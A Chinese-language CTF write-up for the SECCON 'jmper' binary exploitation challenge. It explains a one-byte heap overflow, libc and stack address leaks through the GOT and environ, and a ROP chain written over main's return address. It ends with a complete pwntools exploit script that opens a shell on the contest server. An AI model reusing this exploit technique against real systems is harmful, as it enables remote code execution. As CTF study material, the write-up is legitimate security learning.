Description

這題跟 cheer_msg 其實差不多,然後解法發現也跟以前解過的 applestore 很像,有紀錄以前的 writeup 真是太好了,記憶障礙的時候可以回顧一下

Analyzing

64 bit ELF, FULL RELRO, 沒有 canary, 有 NX, 沒有 PIE

這支程式也很小,不過用了一個從沒看過的 function,setjmplongjmp,簡單的介紹可以看 jmp,最後會需要瞭解這兩個 function 才能完成 exploit

main 裡面沒什麼重要的東西,除了 setjmp 之外,在 setjmp 之後會呼叫 f

f 蠻長的,但主要就是實作以下功能:

  1. Add student
  2. Name student
  3. Write memo
  4. Show name
  5. Show memo
  6. Bye

Add student:

會先 malloc 一塊 48 bytes 的空間,第一格存著 student_num 也就是 ID,第六格存著存放名字的 heap address

Name student:

這裡會先要求輸入 ID,然後就可以開始取名字,這裡存在 one-byte overflow,但是這裡我沒用到,這裡之後用來 overwrite return address

Write memo:

這裡一樣先要求輸入 ID,這裡主要是改 student heap 的第二格到第四格,但是這裡存在著 one-byte overflow,所以我們可以利用這個來修改 name heap 的 address

Show name:

就 dump 出 name

Show memo:

同上

Bye:

exit(0)

Exploit

所以想法很簡單,用 A 學生 one-byte overflow 來修改 A 學生 name heap 的位置,把它指向 B 學生的第六格,也就是存放 B 學生 name heap 那格,接著用 A 學生來改 B 學生 name heap address,就可以進行 leak infooverwrite

First:

新增兩名學生,然後呼叫 A 學生的 write_memo,利用 one-byte overflow 把 A 學生 name heap address 改掉

student heap layout:

             +------------------+
             |.........prev_size|
             |..............size|
studentA     |.......student_num|
             |..................| memo
             |..................|
             |..................|
             |..................|
             |........nameA_heap|
             +------------------+
             |.........prev_size|
             |..............size|
studentB     |.......student_num|
             |..................| memo
             |..................|
             |..................|
             |..................|
             |........nameB_heap|
             +------------------+

real memory layout:

0x6031e0:       0x0000000000000000      0x0000000000000000
0x6031f0:       0x0000000000000000      0x0000000000000000
0x603200:       0x0000000000000000      0x0000000000603220 # nameA_heap
0x603210:       0x0000000000000000      0x0000000000000031
0x603220:       0x0000000000000000      0x0000000000000000
0x603230:       0x0000000000000000      0x0000000000000000
0x603240:       0x0000000000000000      0x0000000000000041
0x603250:       0x0000000000000001      0x0000000000000000
0x603260:       0x0000000000000000      0x0000000000000000
0x603270:       0x0000000000000000      0x0000000000603290 # nameB_heap

# after one-byte overflow

0x6031e0:       0x0000000000000000      0x0000000000000000
0x6031f0:       0x0000000000000000      0x0000000000000000
0x603200:       0x0000000000000000      0x0000000000603278 # address of storing nameB_heap
0x603210:       0x0000000000000000      0x0000000000000031
0x603220:       0x0000000000000000      0x0000000000000000
0x603230:       0x0000000000000000      0x0000000000000000
0x603240:       0x0000000000000000      0x0000000000000041
0x603250:       0x0000000000000001      0x0000000000000000
0x603260:       0x0000000000000000      0x0000000000000000
0x603270:       0x0000000000000000      0x0000000000603290

Second:

接著我們為 student A 命名,就可以 overwrite student B name heap 的 address,把 address 改成隨便一個 libc function 的 GOT entry 在這我是 leak puts,之後再用 show name 就可以 leak info

after overwrite:

0x6031e0:       0x0000000000000000      0x0000000000000000
0x6031f0:       0x0000000000000000      0x0000000000000000
0x603200:       0x0000000000000000      0x0000000000603278
0x603210:       0x0000000000000000      0x0000000000000031
0x603220:       0x0000000000000000      0x0000000000000000
0x603230:       0x0000000000000000      0x0000000000000000
0x603240:       0x0000000000000000      0x0000000000000041
0x603250:       0x0000000000000001      0x0000000000000000
0x603260:       0x0000000000000000      0x0000000000000000
0x603270:       0x0000000000000000      0x0000000000601fa0 # GOT entry of puts

Third:

libc base address 之後,我們就可以拿到 system address,但是因為這題有 FULL RELRO 的保護,所以 GOT entry 不可以修改,因此,我們需要修改 stack 上的 return address

libc 裡面有一個 symbol - environ 裡面存著 stack address,所以重複 step first & second,來拿 stack address,之後算一下 offset 就可以知道 main 的 return address 的位置

這裡為什麼要用 main,因為 f 這個 function 只有兩種離開方式,一個是利用 longjmp 另一個是利用 exit(0),所以我們必須要用到 longjmp 回到 main,再控制 eip

Fourth:

在這步驟我們需要做兩件事,把 "sh" 寫上 memory (或是直接利用 libc 裡的 "sh"),把 main 的 return address 寫掉,偽造 system function call

因為我們需要 longjmp 讓程式跳回 main,在 add student 裡,他會檢查學生人數是不是超過 30 如果超過就會呼叫 longjmp,所以我把 "sh" 寫在 student_num 這個 global variable,這樣下次呼叫 add student 就會跳回 main,然後 return 開 shell

Final Exploit:

#!/usr/bin/env python

from pwn import *

#r = remote('127.0.0.1', 4000)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = remote('jmper.pwn.seccon.jp', 5656)
libc = ELF('libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e')

def add():
    r.recvuntil('6. Bye :)')
    r.sendline('1')

def name(ID, content):
    r.recvuntil('6. Bye :)')
    r.sendline('2')
    r.recvuntil('ID:')
    r.sendline(str(ID))
    r.recvuntil('Input name:')
    r.sendline(content)

def wmemo(ID, content):
    r.recvuntil('6. Bye :)')
    r.sendline('3')
    r.recvuntil('ID:')
    r.sendline(str(ID))
    r.recvuntil('Input memo:')
    r.sendline(content)

def sname(ID):
    r.recvuntil('6. Bye :)')
    r.sendline('4')
    r.recvuntil('ID:')
    r.sendline(str(ID))

def smemo(ID):
    r.recvuntil('6. Bye :)')
    r.sendline('5')
    r.recvuntil('ID:')
    r.sendline(str(ID))


add()
add()
wmemo(0, 'A' * 32 + '\x78')
name(0, p64(0x601fa0))
sname(1)
puts = (u64(r.recvline()[:6] + '\x00' * 2))
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
stack = base + libc.symbols['environ']

name(0, p64(stack))
sname(1)
stack = u64(r.recvline()[:6] + '\x00' * 2)
pop_rdi_ret = 0x400cc3

name(0, p64(0x602028))
name(1, 'sh\x00')
name(0, p64(stack-240)) # overwrite main_ret_address
name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system))

add() # call longjmp in order to back to main

r.interactive()